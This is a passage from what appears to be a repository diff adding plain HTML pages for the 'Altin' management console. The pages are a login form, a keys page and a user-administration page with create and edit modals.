<th>Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="keysTableBody"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
</section>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<div class="modal-backdrop hidden" id="keyModal" aria-hidden="true">
|
||||
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="keyModalTitle">
|
||||
<div class="modal-header">
|
||||
<div>
|
||||
<h2 id="keyModalTitle">Create key</h2>
|
||||
<p>Create or replace a key.</p>
|
||||
</div>
|
||||
<button class="icon-button" id="closeKeyModalButton" type="button">✕</button>
|
||||
</div>
|
||||
|
||||
<div class="modal-layout single-column">
|
||||
<section class="modal-panel">
|
||||
<div>
|
||||
<label class="field-label" for="keyName">Name</label>
|
||||
<input class="input" id="keyName" type="text" placeholder="Key name">
|
||||
</div>
|
||||
<div>
|
||||
<label class="field-label" for="keyValue">Key</label>
|
||||
<input class="input" id="keyValue" type="text" placeholder="Key value">
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div class="modal-footer">
|
||||
<div class="modal-message" id="keyModalMessage"></div>
|
||||
<div class="modal-actions-inline">
|
||||
<button class="button-secondary" id="cancelKeyModalButton" type="button">Cancel</button>
|
||||
<button class="button" id="saveKeyButton" type="button">Save key</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
59
webui/login.html
Normal file
59
webui/login.html
Normal file
@ -0,0 +1,59 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Altin | Login</title>
|
||||
|
||||
<link rel="stylesheet" href="/assets/css/main.css">
|
||||
<link rel="stylesheet" href="/assets/css/login.css">
|
||||
<script defer src="/assets/js/auth.js"></script>
|
||||
</head>
|
||||
<body class="login-page">
|
||||
<main class="login-shell">
|
||||
<section class="login-panel card" aria-label="Login form">
|
||||
<div class="login-panel-header">
|
||||
<div class="login-card-logo">Altin</div>
|
||||
<button class="icon-button theme-toggle" id="themeToggle" type="button" aria-label="Toggle theme">☀️</button>
|
||||
</div>
|
||||
|
||||
<p class="login-copy login-copy-compact">
|
||||
Enter the management server URL and credentials.
|
||||
</p>
|
||||
|
||||
<div class="login-saved hidden" id="savedServerWrap">
|
||||
<label class="field-label" for="savedServer">Saved server</label>
|
||||
<select class="select" id="savedServer"></select>
|
||||
</div>
|
||||
|
||||
<form class="login-form" id="loginForm" autocomplete="on">
|
||||
<div>
|
||||
<label class="field-label" for="serverUrl">Server URL</label>
|
||||
<input class="input" id="serverUrl" name="serverUrl" type="url" placeholder="http://127.0.0.1:5000" required>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label class="field-label" for="username">Username</label>
|
||||
<input class="input" id="username" name="username" type="text" placeholder="operator" autocomplete="username" required>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label class="field-label" for="password">Password</label>
|
||||
<input class="input" id="password" name="password" type="password" placeholder="••••••••" autocomplete="current-password" required>
|
||||
</div>
|
||||
|
||||
<div class="login-actions">
|
||||
<label class="login-option" for="rememberServer">
|
||||
<input id="rememberServer" type="checkbox">
|
||||
Save server after login
|
||||
</label>
|
||||
|
||||
<button class="button" type="submit">Login</button>
|
||||
</div>
|
||||
|
||||
<div class="login-message" id="loginMessage" role="status" aria-live="polite"></div>
|
||||
</form>
|
||||
</section>
|
||||
</main>
|
||||
</body>
|
||||
</html>
|
||||
120
webui/users.html
Normal file
120
webui/users.html
Normal file
@ -0,0 +1,120 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Altin | Users</title>
|
||||
|
||||
<link rel="stylesheet" href="/assets/css/main.css">
|
||||
<link rel="stylesheet" href="/assets/css/home.css">
|
||||
<script defer src="/assets/js/users.js"></script>
|
||||
</head>
|
||||
<body class="app-page">
|
||||
<div class="app-layout">
|
||||
<aside class="sidebar">
|
||||
<div class="brand-block">
|
||||
<div class="brand-name">Altin</div>
|
||||
<div class="brand-subtitle">Management console</div>
|
||||
</div>
|
||||
<div class="sidebar-section">
|
||||
<nav class="nav-list" aria-label="Primary">
|
||||
<a class="nav-item" href="/index.html"><span>Overview</span></a>
|
||||
<a class="nav-item" href="/agents.html"><span>Agents</span></a>
|
||||
<a class="nav-item" href="/keys.html"><span>Keys</span></a>
|
||||
<a class="nav-item is-active" href="/users.html"><span>Users</span></a>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="sidebar-footer">
|
||||
<div class="sidebar-info">
|
||||
<strong>Session</strong><br>
|
||||
<span id="serverChip">loading…</span>
|
||||
</div>
|
||||
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<main class="main-shell">
|
||||
<header class="page-header page-header-spaced">
|
||||
<div>
|
||||
<div class="page-title">Users</div>
|
||||
</div>
|
||||
<div class="topbar-actions">
|
||||
<button class="button-secondary" id="refreshUsersButton" type="button">Refresh</button>
|
||||
<button class="button" id="createUserButton" type="button">Create user</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section class="page-section">
|
||||
<section class="agents-toolbar panel">
|
||||
<div class="filter-grid keys-filter-grid">
|
||||
<div>
|
||||
<label class="field-label" for="userSearch">Search</label>
|
||||
<input class="input" id="userSearch" type="search" placeholder="Username or user ID">
|
||||
</div>
|
||||
<div class="selection-bar keys-summary">
|
||||
<div>
|
||||
<span class="selection-label">Users</span>
|
||||
<div class="selection-count" id="usersCount">0 total</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="panel agents-table-panel">
|
||||
<div class="table-wrap">
|
||||
<table class="data-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>ID</th>
|
||||
<th>Username</th>
|
||||
<th>Admin</th>
|
||||
<th>Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="usersTableBody"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
</section>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<div class="modal-backdrop hidden" id="userModal" aria-hidden="true">
|
||||
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="userModalTitle">
|
||||
<div class="modal-header">
|
||||
<div>
|
||||
<h2 id="userModalTitle">Create user</h2>
|
||||
<p>Create or update a user account.</p>
|
||||
</div>
|
||||
<button class="icon-button" id="closeUserModalButton" type="button">✕</button>
|
||||
</div>
|
||||
|
||||
<div class="modal-layout single-column">
|
||||
<section class="modal-panel">
|
||||
<div>
|
||||
<label class="field-label" for="userName">Username</label>
|
||||
<input class="input" id="userName" type="text" placeholder="operator">
|
||||
</div>
|
||||
<div>
|
||||
<label class="field-label" for="userPassword">Password</label>
|
||||
<input class="input" id="userPassword" type="password" placeholder="password">
|
||||
</div>
|
||||
<label class="login-option compact-option" for="userAdmin">
|
||||
<input id="userAdmin" type="checkbox">
|
||||
Admin
|
||||
</label>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div class="modal-footer">
|
||||
<div class="modal-message" id="userModalMessage"></div>
|
||||
<div class="modal-actions-inline">
|
||||
<button class="button-secondary" id="cancelUserModalButton" type="button">Cancel</button>
|
||||
<button class="button" id="saveUserButton" type="button">Save user</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Loading…
x
Reference in New Issue
Block a user